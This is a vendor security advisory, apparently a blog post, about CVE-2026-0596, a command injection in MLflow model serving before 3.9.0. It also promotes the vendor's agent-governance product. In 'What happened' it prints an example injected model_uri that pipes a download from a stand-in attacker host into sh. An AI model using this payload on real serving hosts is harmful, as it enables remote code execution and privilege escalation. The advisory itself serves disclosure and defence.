---
title: "MLflow command injection in model serving - CVE-2026-0596"
description: "MLflow command injection CVE-2026-0596: a model_uri shell-command flaw in MLflow < 3.9.0 model serving enables arbitrary command execution. Fixed in 3.9.0."
url: "https://anomity.ai/blog/mlflow-model-serving-command-injection-cve-2026-0596/"
source: html
---

On this page

- What happened
- Why this is an agentic-endpoint risk
- How Anomity surfaces and governs it
- What to check across your fleet
- Frequently asked questions

[← Back to blog](https://anomity.ai/blog/)

- Home

- Blog

- MLflow command injection in model serving - CVE-2026-0596

![Anomity robot illustrating MLflow command injection in model serving - CVE-2026-0596]

Advisory Critical

# MLflow command injection in model serving - CVE-2026-0596

Anomity Research
Anomity Threat Research
·
Mar 31, 2026
·
6 min read

Share: Copied

Self-hosted AI & Inference · Critical · CVE-2026-0596 · Mar 31, 2026

Affected MLflow < 3.9.0 (model serving with enable_mlserver=True); fixed in 3.9.0

**CVE-2026-0596 is a Critical MLflow command injection in the model serving path, letting an attacker who controls the model URI run arbitrary OS commands on a self-hosted inference host.** Tracked as **GHSA-rvhj-8chj-8v3c** and classified as **CWE-78** (OS command injection), it affects **MLflow before version 3.9.0** and is fixed in **3.9.0**. When MLflow serves a model with `enable_mlserver=True`, the `model_uri` parameter is placed directly into a shell command run through `bash -c` without proper sanitization. This advisory covers what the bug exposes, why a self-hosted serving process is an agentic-endpoint problem, and how Anomity surfaces and governs the agents that drive it.

## What happened

MLflow is the model registry and serving layer that many AI teams run to package, track, and deploy models. Its serving path can hand inference off to MLServer when a model is served with `enable_mlserver=True`. To launch that server, MLflow builds a shell command and executes it via `bash -c`.

In the affected versions, the user-supplied `model_uri` is embedded directly into that shell command without proper sanitization. An attacker who controls the model URI can insert shell metacharacters such as `$()` or backticks, and the shell expands them as command substitution before the serving process starts. A crafted URI turns a model-serving request into arbitrary command execution on the host.

```
model_uri = "models:/prod-model/1$(curl http://attacker/x|sh)"
# expanded inside bash -c during serving with enable_mlserver=True
```

The impact follows the privilege of the serving process. It is especially severe where a higher-privileged service serves models from directories that lower-privileged users can write to. A low-privileged user stages a model whose URI carries an injected command, the privileged serving process expands it through `bash -c`, and the attacker escalates from their own privilege level to the serving process's. On a self-hosted inference host that can mean full host compromise.

Detail Value

Identifier CVE-2026-0596 (GHSA-rvhj-8chj-8v3c)

Type OS command injection (CWE-78)

Severity Critical

Vector Unsanitized model_uri embedded in a bash -c shell command

Trigger Model serving with enable_mlserver=True

Affected MLflow < 3.9.0 (package: mlflow, pip)

Fixed in MLflow 3.9.0

## Why this is an agentic-endpoint risk

A model serving process rarely sits alone. MLflow is the registry and serving layer AI teams run so agents, CLIs, and developer tooling have a place to package and deploy models. On a managed endpoint, the MLflow process is an AI artifact in its own right, and so are the Claude Code sessions, MCP servers, and command-line agents that invoke it. When an agent can launch model serving, it can reach the very path this command injection abuses.

That reachability is the risk. A command injection in a self-hosted serving process is a self-hosted-AI-and-inference problem with clear privilege-escalation potential: an agent or user passing a crafted `model_uri`, whether by mistake, through a poisoned tool definition, or as a deliberate attack, can steer `bash -c` into running attacker commands. Network and EDR controls see the resulting process, but cannot tell you which agents on which endpoints run an affected MLflow build, or whether any were allowed to serve a model from an untrusted URI.

This is the same artifact-layer blind spot we track across the self-hosted cluster, including the sibling cases in [MLflow AI Gateway secrets exfiltration - CVE-2026-4035](https://anomity.ai/blog/mlflow-ai-gateway-secrets-exfiltration-cve-2026-4035/), [Langflow shareable playground RCE - CVE-2026-48519](https://anomity.ai/blog/langflow-shareable-playground-rce-cve-2026-48519/), [Flowise Airtable agent code injection - CVE-2026-41265](https://anomity.ai/blog/flowise-airtable-agent-code-injection-cve-2026-41265/), and [Gradio proxy URL SSRF - CVE-2026-28416](https://anomity.ai/blog/gradio-proxy-url-ssrf-cve-2026-28416/). It rhymes with deserialization flaws such as [LightLLM pickle deserialization RCE - CVE-2026-26220](https://anomity.ai/blog/lightllm-pickle-deserialization-rce-cve-2026-26220/) that also turn a self-hosted AI service into code execution. The serving process is one node in a graph of AI artifacts, and you can't govern what you can't see. Fleet-wide [inventory of every AI artifact](https://anomity.ai/#features) is the precondition for scoping a command injection like this one.

## How Anomity surfaces and governs it

Anomity inventories eight AI artifact types on every managed endpoint: AI agents, MCP servers, extensions, skills, plugins, secrets, hooks, and CLIs. For CVE-2026-0596 that means the MLflow process and its version are catalogued alongside the agents and CLIs that invoke it, so you can answer "which endpoints run an affected MLflow build, and what launches serving on them" from the [fleet inventory](https://anomity.ai/#features) instead of guessing, and confirm that patched hosts have moved to 3.9.0 or later.

On agents that expose a hook, such as Claude Code PreToolUse, Anomity returns **allow**, **deny**, or **log** on each tool call before it runs. That is the enforcement point in [runtime governance](https://anomity.ai/#runtime-governance): a tool call that would launch model serving with an untrusted `model_uri` can be denied or logged in line rather than discovered after `bash -c` has already run the injected command. Anomity collects metadata only and redacts secrets on the endpoint, so credentials the serving host holds never pass through Anomity.

Every decision is written to a queryable 90-day audit trail. After a disclosure like this, that trail is what lets responders scope the event: which agents invoked serving, when, and what model URI each call named. Anomity routes those decisions to SIEM, Slack, email, or Jira so the right team sees them in the tool they already use. The result is the timeline and the enforcement record described under [outcomes](https://anomity.ai/#outcomes).

Anomity complements your existing Network, EDR, DLP, and GRC controls rather than replacing them. It adds the agentic-endpoint layer those tools cannot see. See [how it works](https://anomity.ai/#how-it-works) and [how Anomity compares](https://anomity.ai/#compare) for where it fits.

## What to check across your fleet

- Identify every host and service running the mlflow package and record the exact version; treat anything below 3.9.0 as affected and upgrade to 3.9.0 or later.
- Find where model serving is invoked with enable_mlserver=True and trace where the model_uri is sourced from on each of those paths.
- Treat any model_uri drawn from user-writable directories or untrusted input as an injection vector until the affected code is patched.
- Check whether the serving process runs at higher privilege than the users who can supply or stage models, which is the privilege-escalation condition.
- Restrict who can register models and invoke serving so an attacker cannot introduce a crafted model URI in the first place.
- Review process and shell-execution logs on serving hosts for bash -c invocations carrying $() or backtick metacharacters in a model URI.
- Enumerate which AI agents, CLIs, and MCP servers can launch MLflow model serving, using a fleet-wide AI artifact inventory.
- Confirm hook-based allow/deny/log enforcement is active on agents that drive MLflow, so a serving call with an untrusted model_uri can be blocked before it runs.

CVE-2026-0596 turns one crafted model URI into arbitrary command execution and privilege escalation on a self-hosted inference host, which is exactly why the AI artifact layer needs its own inventory and enforcement. For the full cluster context, see the pillar on [securing self-hosted AI and inference](https://anomity.ai/blog/securing-ai-agent-frameworks/), and the related guides on [securing LLM gateways and proxies](https://anomity.ai/blog/securing-llm-gateways-and-proxies/) and [MCP server security](https://anomity.ai/blog/mcp-server-security-complete-guide/). To see Anomity inventory your agents, govern tool calls at the hook, and keep a 90-day audit trail, [book a demo](https://anomity.ai/#early-access).

Share: Copied

## Frequently asked questions

What is CVE-2026-0596 in MLflow?
CVE-2026-0596, tracked as GHSA-rvhj-8chj-8v3c, is a Critical OS command injection (CWE-78) in MLflow model serving. When MLflow serves a model with enable_mlserver=True, the model_uri parameter is embedded directly into a shell command run via bash -c without proper sanitization. An attacker who controls the model URI can insert shell metacharacters such as $() or backticks to achieve command substitution and arbitrary command execution on the serving host. The flaw affects MLflow before 3.9.0 and is fixed in 3.9.0, so the primary action is to upgrade the mlflow package to 3.9.0 or later and confirm no self-hosted serving process still runs an affected build.

How severe is the MLflow command injection, and can it lead to privilege escalation?
It is rated Critical. Because the injected commands run as the MLflow serving process, an attacker gains code execution with that process's privileges on a self-hosted inference host. It is especially severe where a higher-privileged service serves models from directories that lower-privileged users can write to: a low-privileged user plants a malicious model URI, the privileged serving process expands it through bash -c, and the attacker escalates to the higher privilege level. Treat any endpoint running an affected MLflow serving process as a candidate for full host compromise until it is patched.

How do I check whether my MLflow deployment is exposed?
Inventory every host and service running the mlflow package and record the exact version; anything below 3.9.0 is affected. Then find where model serving is invoked with enable_mlserver=True and where the model_uri is sourced from, since a URI drawn from user-writable directories or untrusted input is the exploit path. Check whether the serving process runs at higher privilege than the users who can supply or stage models. Anomity helps here by inventorying the AI artifacts and CLIs on each endpoint that drive MLflow, so you can answer which endpoints run an affected build across the fleet rather than checking hosts one at a time.

How does Anomity reduce exposure to a self-hosted serving flaw like this?
Anomity treats a self-hosted serving process as an AI artifact on the endpoint, so it inventories MLflow, its version, and the agents and CLIs that invoke it. On agents that expose a hook, such as Claude Code PreToolUse, Anomity returns allow, deny, or log on each tool call before it runs, so a call that would launch model serving with an untrusted model_uri can be denied or logged in line. Every decision lands in a queryable 90-day audit trail and routes to SIEM, Slack, email, or Jira, giving responders the timeline they need to scope a command-injection event across the fleet.

## Related

[Advisory High ### Gradio SSRF via proxy_url - CVE-2026-28416 CVE-2026-28416: a Gradio SSRF in gradio
[Advisory High ### OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4 A web page could make OpenCode's local server install an attacker's npm package via a cross-site form. No DNS rebinding needed. Fixed in 1.18.22. Anomity Research · Oct 2, 2026 · GHSA-632h-h47v-g4x4 (CVSS 7.5, no CVE)](https://anomity.ai/blog/opencode-cross-site-upgrade-rce-ghsa-632h-h47v-g4x4/)

[Advisory High ### Plugin4Shell - A Branch Named Like a Commit Broke Plugin SHA Pinning in Four Coding Agents Plugin4Shell let a plugin owner swap reviewed code under an intact SHA pin. Auto-update made it zero-click. Two agents patched, two never will. Anomity Research · Oct 2, 2026 · Plugin4Shell (AIR, 2026-09-17); no CVE assigned](https://anomity.ai/blog/plugin4shell-coding-agent-plugin-sha-pinning-bypass/)

## Structured data

```json
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "MLflow command injection in model serving - CVE-2026-0596",
  "description": "MLflow command injection CVE-2026-0596: a model_uri shell-command flaw in MLflow < 3.9.0 model serving enables arbitrary command execution. Fixed in 3.9.0.",
  "datePublished": "2026-03-31",
  "dateModified": "2026-03-31",
  "author": {
    "@type": "Organization",
    "name": "Anomity",
    "url": "https://anomity.ai/",
    "sameAs": [
      "https://www.linkedin.com/company/anomity",
      "https://github.com/Anomity-ai",
      "https://www.wikidata.org/wiki/Q140763940"
    ]
  },
  "publisher": {
    "@type": "Organization",
    "name": "Anomity",
    "url": "https://anomity.ai/",
    "sameAs": [
      "https://www.linkedin.com/company/anomity",
      "https://github.com/Anomity-ai",
      "https://www.wikidata.org/wiki/Q140763940"
    ],
    "logo": {
      "@type": "ImageObject",
      "url": "https://anomity.ai/icon-512.png"
    }
  },
  "mainEntityOfPage": {
    "@type": "WebPage",
    "@id": "https://anomity.ai/blog/mlflow-model-serving-command-injection-cve-2026-0596/"
  },
  "image": {
    "@type": "ImageObject",
    "url": "https://anomity.ai/assets/blog/covers/prompt-injection.jpg",
    "width": 1200,
    "height": 630
  },
  "articleSection": "Self-hosted AI & Inference",
  "url": "https://anomity.ai/blog/mlflow-model-serving-command-injection-cve-2026-0596/",
  "keywords": "MLflow command injection, CVE-2026-0596, MLflow, command injection, model serving, CWE-78, self-hosted AI, privilege escalation, CVE-2026-0596"
}
```

```json
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "What is CVE-2026-0596 in MLflow?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "CVE-2026-0596, tracked as GHSA-rvhj-8chj-8v3c, is a Critical OS command injection (CWE-78) in MLflow model serving. When MLflow serves a model with enable_mlserver=True, the model_uri parameter is embedded directly into a shell command run via bash -c without proper sanitization. An attacker who controls the model URI can insert shell metacharacters such as $() or backticks to achieve command substitution and arbitrary command execution on the serving host. The flaw affects MLflow before 3.9.0 and is fixed in 3.9.0, so the primary action is to upgrade the mlflow package to 3.9.0 or later and confirm no self-hosted serving process still runs an affected build."
      }
    },
    {
      "@type": "Question",
      "name": "How severe is the MLflow command injection, and can it lead to privilege escalation?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "It is rated Critical. Because the injected commands run as the MLflow serving process, an attacker gains code execution with that process's privileges on a self-hosted inference host. It is especially severe where a higher-privileged service serves models from directories that lower-privileged users can write to: a low-privileged user plants a malicious model URI, the privileged serving process expands it through bash -c, and the attacker escalates to the higher privilege level. Treat any endpoint running an affected MLflow serving process as a candidate for full host compromise until it is patched."
      }
    },
    {
      "@type": "Question",
      "name": "How do I check whether my MLflow deployment is exposed?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Inventory every host and service running the mlflow package and record the exact version; anything below 3.9.0 is affected. Then find where model serving is invoked with enable_mlserver=True and where the model_uri is sourced from, since a URI drawn from user-writable directories or untrusted input is the exploit path. Check whether the serving process runs at higher privilege than the users who can supply or stage models. Anomity helps here by inventorying the AI artifacts and CLIs on each endpoint that drive MLflow, so you can answer which endpoints run an affected build across the fleet rather than checking hosts one at a time."
      }
    },
    {
      "@type": "Question",
      "name": "How does Anomity reduce exposure to a self-hosted serving flaw like this?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Anomity treats a self-hosted serving process as an AI artifact on the endpoint, so it inventories MLflow, its version, and the agents and CLIs that invoke it. On agents that expose a hook, such as Claude Code PreToolUse, Anomity returns allow, deny, or log on each tool call before it runs, so a call that would launch model serving with an untrusted model_uri can be denied or logged in line. Every decision lands in a queryable 90-day audit trail and routes to SIEM, Slack, email, or Jira, giving responders the timeline they need to scope a command-injection event across the fleet."
      }
    }
  ]
}
```

```json
{
  "@context": "https://schema.org",
  "@type": "BreadcrumbList",
  "itemListElement": [
    {
      "@type": "ListItem",
      "position": 1,
      "name": "Home",
      "item": "https://anomity.ai/"
    },
    {
      "@type": "ListItem",
      "position": 2,
      "name": "Blog",
      "item": "https://anomity.ai/blog/"
    },
    {
      "@type": "ListItem",
      "position": 3,
      "name": "MLflow command injection in model serving - CVE-2026-0596",
      "item": "https://anomity.ai/blog/mlflow-model-serving-command-injection-cve-2026-0596/"
    }
  ]
}
```
